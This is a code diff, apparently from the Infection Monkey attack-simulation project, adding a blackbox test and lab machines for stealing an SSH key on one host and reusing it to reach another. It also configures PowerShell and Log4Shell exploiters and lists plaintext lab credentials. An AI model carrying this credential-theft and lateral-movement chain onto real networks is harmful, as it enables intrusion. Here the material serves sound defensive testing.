smb_pth_test_configuration,
|
||||||
wmi_mimikatz_test_configuration,
|
wmi_mimikatz_test_configuration,
|
||||||
zerologon_test_configuration,
|
zerologon_test_configuration,
|
||||||
|
@ -129,15 +129,6 @@ class TestMonkeyBlackbox:
|
||||||
island_client, depth_4_a_test_configuration, "Depth4A test suite"
|
island_client, depth_4_a_test_configuration, "Depth4A test suite"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Not grouped because can only be ran on windows
|
|
||||||
@pytest.mark.skip_powershell_reuse
|
|
||||||
def test_powershell_exploiter_credentials_reuse(self, island_client):
|
|
||||||
TestMonkeyBlackbox.run_exploitation_test(
|
|
||||||
island_client,
|
|
||||||
powershell_credentials_reuse_test_configuration,
|
|
||||||
"PowerShell_Remoting_exploiter_credentials_reuse",
|
|
||||||
)
|
|
||||||
|
|
||||||
# Not grouped because it's slow
|
# Not grouped because it's slow
|
||||||
def test_zerologon_exploiter(self, island_client):
|
def test_zerologon_exploiter(self, island_client):
|
||||||
test_name = "Zerologon_exploiter"
|
test_name = "Zerologon_exploiter"
|
||||||
|
@ -163,6 +154,11 @@ class TestMonkeyBlackbox:
|
||||||
log_handler=log_handler,
|
log_handler=log_handler,
|
||||||
).run()
|
).run()
|
||||||
|
|
||||||
|
def test_credentials_reuse_ssh_key(self, island_client):
|
||||||
|
TestMonkeyBlackbox.run_exploitation_test(
|
||||||
|
island_client, credentials_reuse_ssh_key_test_configuration, "Credentials_Reuse_SSH_Key"
|
||||||
|
)
|
||||||
|
|
||||||
# Not grouped because conflicts with SMB.
|
# Not grouped because conflicts with SMB.
|
||||||
# Consider grouping when more depth 1 exploiters collide with group depth_1_a
|
# Consider grouping when more depth 1 exploiters collide with group depth_1_a
|
||||||
def test_wmi_and_mimikatz_exploiters(self, island_client):
|
def test_wmi_and_mimikatz_exploiters(self, island_client):
|
||||||
|
|
|
@ -3,7 +3,7 @@ from .depth_1_a import depth_1_a_test_configuration
|
||||||
from .depth_2_a import depth_2_a_test_configuration
|
from .depth_2_a import depth_2_a_test_configuration
|
||||||
from .depth_3_a import depth_3_a_test_configuration
|
from .depth_3_a import depth_3_a_test_configuration
|
||||||
from .depth_4_a import depth_4_a_test_configuration
|
from .depth_4_a import depth_4_a_test_configuration
|
||||||
from .powershell_credentials_reuse import powershell_credentials_reuse_test_configuration
|
|
||||||
from .smb_pth import smb_pth_test_configuration
|
from .smb_pth import smb_pth_test_configuration
|
||||||
from .wmi_mimikatz import wmi_mimikatz_test_configuration
|
from .wmi_mimikatz import wmi_mimikatz_test_configuration
|
||||||
from .zerologon import zerologon_test_configuration
|
from .zerologon import zerologon_test_configuration
|
||||||
|
from .credentials_reuse_ssh_key import credentials_reuse_ssh_key_test_configuration
|
||||||
|
|
|
@ -0,0 +1,71 @@
|
||||||
|
import dataclasses
|
||||||
|
|
||||||
|
from common.agent_configuration import AgentConfiguration, PluginConfiguration
|
||||||
|
from common.credentials import Credentials, Password, Username
|
||||||
|
|
||||||
|
from .noop import noop_test_configuration
|
||||||
|
from .utils import (
|
||||||
|
add_credential_collectors,
|
||||||
|
add_exploiters,
|
||||||
|
add_subnets,
|
||||||
|
add_tcp_ports,
|
||||||
|
replace_agent_configuration,
|
||||||
|
replace_propagation_credentials,
|
||||||
|
set_keep_tunnel_open_time,
|
||||||
|
set_maximum_depth,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
# Tests:
|
||||||
|
# SSHCollector steals key from machine A(10.2.3.14),
|
||||||
|
# then B(10.2.4.15) exploits C(10.2.5.16) with that key
|
||||||
|
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
|
brute_force = [
|
||||||
|
PluginConfiguration(name="SSHExploiter", options={}),
|
||||||
|
]
|
||||||
|
|
||||||
|
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
|
||||||
|
|
||||||
|
|
||||||
|
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
|
subnets = ["10.2.3.14", "10.2.4.15", "10.2.5.16"]
|
||||||
|
return add_subnets(agent_configuration, subnets)
|
||||||
|
|
||||||
|
|
||||||
|
def _add_credential_collectors(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
|
credential_collectors = [
|
||||||
|
PluginConfiguration(name="SSHCollector", options={}),
|
||||||
|
]
|
||||||
|
|
||||||
|
return add_credential_collectors(
|
||||||
|
agent_configuration, credential_collectors=credential_collectors
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
|
ports = [22]
|
||||||
|
return add_tcp_ports(agent_configuration, ports)
|
||||||
|
|
||||||
|
|
||||||
|
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 3)
|
||||||
|
test_agent_configuration = set_keep_tunnel_open_time(test_agent_configuration, 20)
|
||||||
|
test_agent_configuration = _add_exploiters(test_agent_configuration)
|
||||||
|
test_agent_configuration = _add_subnets(test_agent_configuration)
|
||||||
|
test_agent_configuration = _add_credential_collectors(test_agent_configuration)
|
||||||
|
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
|
||||||
|
|
||||||
|
CREDENTIALS = (
|
||||||
|
Credentials(identity=Username(username="m0nk3y"), secret=None),
|
||||||
|
Credentials(identity=None, secret=Password(password="u26gbVQe")),
|
||||||
|
Credentials(identity=None, secret=Password(password="5BuYHeVl")),
|
||||||
|
)
|
||||||
|
|
||||||
|
credentials_reuse_ssh_key_test_configuration = dataclasses.replace(noop_test_configuration)
|
||||||
|
replace_agent_configuration(
|
||||||
|
test_configuration=credentials_reuse_ssh_key_test_configuration,
|
||||||
|
agent_configuration=test_agent_configuration,
|
||||||
|
)
|
||||||
|
replace_propagation_credentials(
|
||||||
|
test_configuration=credentials_reuse_ssh_key_test_configuration,
|
||||||
|
propagation_credentials=CREDENTIALS,
|
||||||
|
)
|
|
@ -6,6 +6,8 @@ from common.credentials import Credentials, Password, Username
|
||||||
from .noop import noop_test_configuration
|
from .noop import noop_test_configuration
|
||||||
from .utils import (
|
from .utils import (
|
||||||
add_exploiters,
|
add_exploiters,
|
||||||
|
add_fingerprinters,
|
||||||
|
add_http_ports,
|
||||||
add_subnets,
|
add_subnets,
|
||||||
add_tcp_ports,
|
add_tcp_ports,
|
||||||
replace_agent_configuration,
|
replace_agent_configuration,
|
||||||
|
@ -16,30 +18,50 @@ from .utils import (
|
||||||
|
|
||||||
# Tests:
|
# Tests:
|
||||||
# SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12)
|
# SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12)
|
||||||
|
# Powershell credential reuse (logging in without credentials
|
||||||
|
# to an identical user on another machine)(10.2.3.44, 10.2.3.46)
|
||||||
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
brute_force = [
|
brute_force = [
|
||||||
PluginConfiguration(name="SSHExploiter", options={}),
|
PluginConfiguration(name="SSHExploiter", options={}),
|
||||||
|
PluginConfiguration(name="PowerShellExploiter", options={}),
|
||||||
]
|
]
|
||||||
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
|
vulnerability = [
|
||||||
|
PluginConfiguration(name="Log4ShellExploiter", options={}),
|
||||||
|
]
|
||||||
|
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=vulnerability)
|
||||||
|
|
||||||
|
|
||||||
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
subnets = [
|
subnets = [
|
||||||
"10.2.2.11",
|
"10.2.2.11",
|
||||||
"10.2.2.12",
|
"10.2.2.12",
|
||||||
|
"10.2.3.44",
|
||||||
|
"10.2.3.46",
|
||||||
]
|
]
|
||||||
return add_subnets(agent_configuration, subnets)
|
return add_subnets(agent_configuration, subnets)
|
||||||
|
|
||||||
|
|
||||||
|
def _add_fingerprinters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
|
fingerprinters = [PluginConfiguration(name="http", options={})]
|
||||||
|
|
||||||
|
return add_fingerprinters(agent_configuration, fingerprinters)
|
||||||
|
|
||||||
|
|
||||||
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
ports = [22]
|
ports = [22, 5985, 5986, 8080]
|
||||||
return add_tcp_ports(agent_configuration, ports)
|
return add_tcp_ports(agent_configuration, ports)
|
||||||
|
|
||||||
|
|
||||||
|
def _add_http_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
|
return add_http_ports(agent_configuration, [8080])
|
||||||
|
|
||||||
|
|
||||||
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 2)
|
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 2)
|
||||||
test_agent_configuration = _add_exploiters(test_agent_configuration)
|
test_agent_configuration = _add_exploiters(test_agent_configuration)
|
||||||
test_agent_configuration = _add_subnets(test_agent_configuration)
|
test_agent_configuration = _add_subnets(test_agent_configuration)
|
||||||
|
test_agent_configuration = _add_fingerprinters(test_agent_configuration)
|
||||||
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
|
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
|
||||||
|
test_agent_configuration = _add_http_ports(test_agent_configuration)
|
||||||
|
|
||||||
CREDENTIALS = (
|
CREDENTIALS = (
|
||||||
Credentials(identity=Username(username="m0nk3y"), secret=None),
|
Credentials(identity=Username(username="m0nk3y"), secret=None),
|
||||||
|
|
|
@ -34,7 +34,6 @@ def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
||||||
subnets = [
|
subnets = [
|
||||||
"10.2.2.9",
|
"10.2.2.9",
|
||||||
"10.2.3.45",
|
"10.2.3.45",
|
||||||
"10.2.3.46",
|
|
||||||
"10.2.3.47",
|
"10.2.3.47",
|
||||||
"10.2.3.48",
|
"10.2.3.48",
|
||||||
"10.2.1.10",
|
"10.2.1.10",
|
||||||
|
|
|
@ -22,7 +22,7 @@ _custom_pba_configuration = CustomPBAConfiguration(
|
||||||
_tcp_scan_configuration = TCPScanConfiguration(timeout=3.0, ports=[])
|
_tcp_scan_configuration = TCPScanConfiguration(timeout=3.0, ports=[])
|
||||||
_icmp_scan_configuration = ICMPScanConfiguration(timeout=1.0)
|
_icmp_scan_configuration = ICMPScanConfiguration(timeout=1.0)
|
||||||
_scan_target_configuration = ScanTargetConfiguration(
|
_scan_target_configuration = ScanTargetConfiguration(
|
||||||
blocked_ips=[], inaccessible_subnets=[], local_network_scan=False, subnets=[]
|
blocked_ips=[], inaccessible_subnets=[], scan_my_networks=False, subnets=[]
|
||||||
)
|
)
|
||||||
_network_scan_configuration = NetworkScanConfiguration(
|
_network_scan_configuration = NetworkScanConfiguration(
|
||||||
tcp=_tcp_scan_configuration,
|
tcp=_tcp_scan_configuration,
|
||||||
|
|
|
@ -1,44 +0,0 @@
|
||||||
import dataclasses
|
|
||||||
|
|
||||||
from common.agent_configuration import AgentConfiguration, PluginConfiguration
|
|
||||||
|
|
||||||
from .noop import noop_test_configuration
|
|
||||||
from .utils import (
|
|
||||||
add_exploiters,
|
|
||||||
add_subnets,
|
|
||||||
add_tcp_ports,
|
|
||||||
replace_agent_configuration,
|
|
||||||
set_maximum_depth,
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
|
||||||
brute_force = [
|
|
||||||
PluginConfiguration(name="PowerShellExploiter", options={}),
|
|
||||||
]
|
|
||||||
|
|
||||||
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
|
|
||||||
|
|
||||||
|
|
||||||
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
|
||||||
subnets = [
|
|
||||||
"10.2.3.46",
|
|
||||||
]
|
|
||||||
return add_subnets(agent_configuration, subnets)
|
|
||||||
|
|
||||||
|
|
||||||
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
|
|
||||||
ports = [5985, 5986]
|
|
||||||
return add_tcp_ports(agent_configuration, ports)
|
|
||||||
|
|
||||||
|
|
||||||
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 1)
|
|
||||||
test_agent_configuration = _add_exploiters(test_agent_configuration)
|
|
||||||
test_agent_configuration = _add_subnets(test_agent_configuration)
|
|
||||||
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
|
|
||||||
|
|
||||||
powershell_credentials_reuse_test_configuration = dataclasses.replace(noop_test_configuration)
|
|
||||||
replace_agent_configuration(
|
|
||||||
test_configuration=powershell_credentials_reuse_test_configuration,
|
|
||||||
agent_configuration=test_agent_configuration,
|
|
||||||
)
|
|
|
@ -28,6 +28,9 @@ This document describes Infection Monkey’s test network, how to deploy and use
|
||||||
[Nr. 3-46 Powershell](#_Toc536021480)<br>
|
[Nr. 3-46 Powershell](#_Toc536021480)<br>
|
||||||
[Nr. 3-47 Powershell](#_Toc536021481)<br>
|
[Nr. 3-47 Powershell](#_Toc536021481)<br>
|
||||||
[Nr. 3-48 Powershell](#_Toc536021482)<br>
|
[Nr. 3-48 Powershell](#_Toc536021482)<br>
|
||||||
|
[Nr. 14 Credentials Reuse](#_Toc536121480)<br>
|
||||||
|
[Nr. 15 Credentials Reuse](#_Toc536121481)<br>
|
||||||
|
[Nr. 16 Credentials Reuse](#_Toc536121482)<br>
|
||||||
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
|
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
|
||||||
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
|
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
|
||||||
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
|
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
|
||||||
|
@ -756,6 +759,38 @@ This prevents ssh exploitation, but allows tunneling.</td>
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<thead>
|
||||||
|
<tr class="header">
|
||||||
|
<th><p><span id="_Toc536021479" class="anchor"></span>Nr. <strong>3-44 Powershell</strong></p>
|
||||||
|
<p>(10.2.3.44)</p></th>
|
||||||
|
<th>(Vulnerable)</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>OS:</td>
|
||||||
|
<td><strong>Windows Server 2016 x64</strong></td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Software:</td>
|
||||||
|
<td>WinRM service</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>Default server’s port: 5985, 5986</td>
|
||||||
|
<td>-</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Notes:</td>
|
||||||
|
<td>User: m0nk3y, Password: nPj8rbc3<br>
|
||||||
|
Accessible using the same m0nk3y user from powershell-3-46,
|
||||||
|
in other words powershell exploiter can exploit
|
||||||
|
this machine without credentials as long as the user running the agent has
|
||||||
|
the same credentials on both machines</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
<table>
|
<table>
|
||||||
<thead>
|
<thead>
|
||||||
<tr class="header">
|
<tr class="header">
|
||||||
|
@ -801,17 +836,17 @@ Accessibale through Island using m0nk3y-user.</td>
|
||||||
<tr class="even">
|
<tr class="even">
|
||||||
<td>Software:</td>
|
<td>Software:</td>
|
||||||
<td>WinRM service</td>
|
<td>WinRM service</td>
|
||||||
|
<td>Tomcat 8.0.36</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="odd">
|
<tr class="odd">
|
||||||
<td>Default server’s port:</td>
|
<td>Default server’s port:8080</td>
|
||||||
<td>-</td>
|
<td>-</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="even">
|
<tr class="even">
|
||||||
<td>Notes:</td>
|
<td>Notes:</td>
|
||||||
<td>User: m0nk3y, Password: nPj8rbc3<br>
|
<td>User: m0nk3y, Password: nPj8rbc3<br>
|
||||||
Accessible using the same m0nk3y user from island, in other words powershell exploiter can exploit
|
Exploited from island via log4shell(tomcat). Then uses cached powershell credentials to
|
||||||
this machine without credentials as long as the user running the agent is the same on both
|
propagate to powershell-3-44</td>
|
||||||
machines</td>
|
|
||||||
</tr>
|
</tr>
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
|
@ -874,6 +909,120 @@ Accessiable only through <strong>3-45 Powershell</strong> using credentials reus
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<thead>
|
||||||
|
<tr class="header">
|
||||||
|
<th><p><span id="_Toc536121480" class="anchor"></span>Nr. <strong>14</strong> Credentials Reuse</p>
|
||||||
|
<p>(10.2.3.14, 10.2.4.14)</p></th>
|
||||||
|
<th>(Exploitable)</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>OS:</td>
|
||||||
|
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Software:</td>
|
||||||
|
<td>OpenSSL</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>Default service’s port:</td>
|
||||||
|
<td>22</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Credentials:</td>
|
||||||
|
<td>m0nk3y:u26gbVQe</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>Server’s config:</td>
|
||||||
|
<td>VPC network that can only access Credentials Reuse 15 and Island.</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Notes:</td>
|
||||||
|
<td>Accessible from the Island with password authentication</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<thead>
|
||||||
|
<tr class="header">
|
||||||
|
<th><p><span id="_Toc536121481" class="anchor"></span>Nr. <strong>15</strong> Credentials Reuse</p>
|
||||||
|
<p>(10.2.4.15, 10.2.5.15)</p></th>
|
||||||
|
<th>(Exploitable)</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>OS:</td>
|
||||||
|
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Software:</td>
|
||||||
|
<td>OpenSSL</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>Default service’s port:</td>
|
||||||
|
<td>22</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Credentials:</td>
|
||||||
|
<td>m0nk3y:5BuYHeVl</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>Server’s config:</td>
|
||||||
|
<td>VPC network that can be only accessed by Credentials Reuse 14 and communicate to<br>
|
||||||
|
Credentials Reuse 16.
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Notes:</td>
|
||||||
|
<td>Accessible from the Credentials Reuse 14 with password authentication</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<table>
|
||||||
|
<thead>
|
||||||
|
<tr class="header">
|
||||||
|
<th><p><span id="_Toc536121482" class="anchor"></span>Nr. <strong>16</strong> Credentials Reuse</p>
|
||||||
|
<p>(10.2.3.16, 10.2.5.16)</p></th>
|
||||||
|
<th>(Exploitable)</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>OS:</td>
|
||||||
|
<td><strong>Ubuntu 16.04.05 x64</strong></td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Software:</td>
|
||||||
|
<td>OpenSSL</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>Default service’s port:</td>
|
||||||
|
<td>22</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Credentials:</td>
|
||||||
|
<td>m0nk3y:lIZl6vTR</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="odd">
|
||||||
|
<td>Server’s config:</td>
|
||||||
|
<td>VPC network that can be only accessed by Credentials Reuse 15 and communicate to<br>
|
||||||
|
the Island.
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
|
<td>Notes:</td>
|
||||||
|
<td>Accessible from the Credentials Reuse 15 with passwordless ssh key authentication.<br>
|
||||||
|
We use the ssh key that was stolen from Credentials Reuse 16</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
|
||||||
<table>
|
<table>
|
||||||
<thead>
|
<thead>
|
||||||
<tr class="header">
|
<tr class="header">
|
||||||
|
|
Binary file not shown.
After Width: | Height: | Size: 13 KiB |
|
@ -0,0 +1 @@
|
||||||
|
<mxfile host="app.diagrams.net" modified="2022-09-23T15:01:54.105Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" etag="spZrDzUM2aBFwquXRZY8" version="20.3.0" type="device"><diagram id="YCekmHjAy1LVhBsJn630" name="Page-1">7VjbjpswEP2aSO1DEGBIyOPmst1WqZRqpV6eVg444K3B1Di3/fraYC4OyXajJKKqKuWBGXuM58zxGZMemMS7Dwym0WcaINKzzWDXA9OebVuObffkzwz2hWc4cgpHyHCgJtWOR/yClNNU3jUOUKZN5JQSjlPd6dMkQT7XfJAxutWnrSjR35rCELUcjz4kbe83HPCo8HquWfsfEA6j8s2WqUZiWE5WjiyCAd02XGDWAxNGKS+e4t0EEQleiUsRd39itNoYQwl/S4CN5unz0yd7/JBEwfPw69MX8KuvVsn4vkwYBSJ/ZVLGIxrSBJJZ7R0zuk4CJFc1hVXPmVOaCqclnM+I870qJlxzKlwRj4kaFRtm++8qPjd+SMOw3dKe7pqj072yVpiQCSWU5VsFK89Hvi/8GWf0J2qMLD3XcWVEkZ7M6SRqJQR0zXz0ClSKyByyEPHXIHWq4opTgWiMRAoikCECOd7oG4GKnmE1T4XeMQb3jQkpxQnPGisvpENMUCfNBopm6pzZgwM2nDdfPBQ7OBE9PIh2R8ZIz6jAScVpCzdQqV05Wc8gbqkrG0jWCtI5DZ3HSMS+4zT2IX9/lNtzuBQSpfEREhwm4tkXnECCQeMNYhwLDbhTAzEOgoL6KMMvcJmvJ+mlqiIWd8c9d1oRTi6AdlqllUCp4FoWmlQ8fUTbdFKr98WxsSxPq8agsM4j3BGGaIv2HX0Bulpl6DalbVX2Y0ZgErTKqQvRNsIcPaYwP8Rb0Y30Ip8sTEsLTmI9OiC9U5F+W7eGqgFEjbbgmafR1+A7FyvQiX7vMM/l2zBLsxBwz1Vmrd/S2DeMBWJYpC6P2fTKAm05b1RouwuBBgNLYw+wLhFcYLYEt8DndoLrdntVMNzmZcH6m28KbyciuJCJF2lH2ScaQrugW8SyqAj2GQpE7hiSfEvrDP0bDbVg8kmVNw1rqHc+cFk/vX3HLAnXqGRaVbIP+o6o9IAITMZLJp5CnuN66LHEVcIAhjPovNGCwWGnNTvus2UODYRbKFUfeBKkAArwS8Qa6OgClNAEtdVqdu/d23IykUdrQTPMMT16nuYHE5aUi7vvkQPHpd62zyVdc4ITsZ3y41nuVuSRypTiXSi/6Y0NQjA24uxpi5Mg/6C+Ro0d57CjtWvsHCkxGBnerYo87KLFXbHxlFf2m9+ALoMZ/EGtnHPUyulcrSrV2eus7U6s2u3gv1hdtSFZtxQrYdb/ChZXhPq/VTD7DQ==</diagram></mxfile>
|
|
@ -59,10 +59,26 @@ data "google_compute_image" "powershell-3-46" {
|
||||||
name = "powershell-3-46"
|
name = "powershell-3-46"
|
||||||
project = local.monkeyzoo_project
|
project = local.monkeyzoo_project
|
||||||
}
|
}
|
||||||
|
data "google_compute_image" "powershell-3-44" {
|
||||||
|
name = "powershell-3-44"
|
||||||
|
project = local.monkeyzoo_project
|
||||||
|
}
|
||||||
data "google_compute_image" "powershell-3-45" {
|
data "google_compute_image" "powershell-3-45" {
|
||||||
name = "powershell-3-45"
|
name = "powershell-3-45"
|
||||||
project = local.monkeyzoo_project
|
project = local.monkeyzoo_project
|
||||||
}
|
}
|
||||||
|
data "google_compute_image" "credentials-reuse-14" {
|
||||||
|
name = "credentials-reuse-14"
|
||||||
|
project = local.monkeyzoo_project
|
||||||
|
}
|
||||||
|
data "google_compute_image" "credentials-reuse-15" {
|
||||||
|
name = "credentials-reuse-15"
|
||||||
|
project = local.monkeyzoo_project
|
||||||
|
}
|
||||||
|
data "google_compute_image" "credentials-reuse-16" {
|
||||||
|
name = "credentials-reuse-16"
|
||||||
|
project = local.monkeyzoo_project
|
||||||
|
}
|
||||||
data "google_compute_image" "log4j-solr-49" {
|
data "google_compute_image" "log4j-solr-49" {
|
||||||
name = "log4j-solr-49"
|
name = "log4j-solr-49"
|
||||||
project = local.monkeyzoo_project
|
project = local.monkeyzoo_project
|
||||||
|
|
|
@ -44,6 +44,18 @@ resource "google_compute_subnetwork" "tunneling2-main" {
|
||||||
network = google_compute_network.tunneling2.self_link
|
network = google_compute_network.tunneling2.self_link
|
||||||
}
|
}
|
||||||
|
|
||||||
|
resource "google_compute_subnetwork" "credential-reuse" {
|
||||||
|
name = "${local.resource_prefix}credential-reuse"
|
||||||
|
ip_cidr_range = "10.2.4.0/24"
|
||||||
|
network = google_compute_network.credential-reuse.self_link
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "google_compute_subnetwork" "credential-reuse2" {
|
||||||
|
name = "${local.resource_prefix}credential-reuse2"
|
||||||
|
ip_cidr_range = "10.2.5.0/24"
|
||||||
|
network = google_compute_network.credential-reuse2.self_link
|
||||||
|
}
|
||||||
|
|
||||||
resource "google_compute_instance_from_template" "hadoop-2" {
|
resource "google_compute_instance_from_template" "hadoop-2" {
|
||||||
name = "${local.resource_prefix}hadoop-2"
|
name = "${local.resource_prefix}hadoop-2"
|
||||||
source_instance_template = local.default_ubuntu
|
source_instance_template = local.default_ubuntu
|
||||||
|
@ -299,18 +311,18 @@ resource "google_compute_instance_from_template" "powershell-3-46" {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
resource "google_compute_instance_from_template" "powershell-3-45" {
|
resource "google_compute_instance_from_template" "powershell-3-44" {
|
||||||
name = "${local.resource_prefix}powershell-3-45"
|
name = "${local.resource_prefix}powershell-3-44"
|
||||||
source_instance_template = local.default_windows
|
source_instance_template = local.default_windows
|
||||||
boot_disk{
|
boot_disk{
|
||||||
initialize_params {
|
initialize_params {
|
||||||
image = data.google_compute_image.powershell-3-45.self_link
|
image = data.google_compute_image.powershell-3-44.self_link
|
||||||
}
|
}
|
||||||
auto_delete = true
|
auto_delete = true
|
||||||
}
|
}
|
||||||
network_interface {
|
network_interface {
|
||||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||||
network_ip="10.2.3.45"
|
network_ip="10.2.3.44"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -324,11 +336,68 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
|
||||||
auto_delete = true
|
auto_delete = true
|
||||||
}
|
}
|
||||||
network_interface {
|
network_interface {
|
||||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||||
network_ip="10.2.3.45"
|
network_ip="10.2.3.45"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
resource "google_compute_instance_from_template" "credentials-reuse-14" {
|
||||||
|
name = "${local.resource_prefix}credentials-reuse-14"
|
||||||
|
source_instance_template = local.default_linux
|
||||||
|
boot_disk{
|
||||||
|
initialize_params {
|
||||||
|
image = data.google_compute_image.credentials-reuse-14.self_link
|
||||||
|
}
|
||||||
|
auto_delete = true
|
||||||
|
}
|
||||||
|
network_interface {
|
||||||
|
subnetwork="${local.resource_prefix}monkeyzoo-main-1"
|
||||||
|
network_ip="10.2.3.14"
|
||||||
|
}
|
||||||
|
network_interface {
|
||||||
|
subnetwork="${local.resource_prefix}credential-reuse"
|
||||||
|
network_ip="10.2.4.14"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "google_compute_instance_from_template" "credentials-reuse-15" {
|
||||||
|
name = "${local.resource_prefix}credentials-reuse-15"
|
||||||
|
source_instance_template = local.default_linux
|
||||||
|
boot_disk{
|
||||||
|
initialize_params {
|
||||||
|
image = data.google_compute_image.credentials-reuse-15.self_link
|
||||||
|
}
|
||||||
|
auto_delete = true
|
||||||
|
}
|
||||||
|
network_interface {
|
||||||
|
subnetwork="${local.resource_prefix}credential-reuse"
|
||||||
|
network_ip="10.2.4.15"
|
||||||
|
}
|
||||||
|
network_interface {
|
||||||
|
subnetwork="${local.resource_prefix}credential-reuse2"
|
||||||
|
network_ip="10.2.5.15"
|
||||||
|
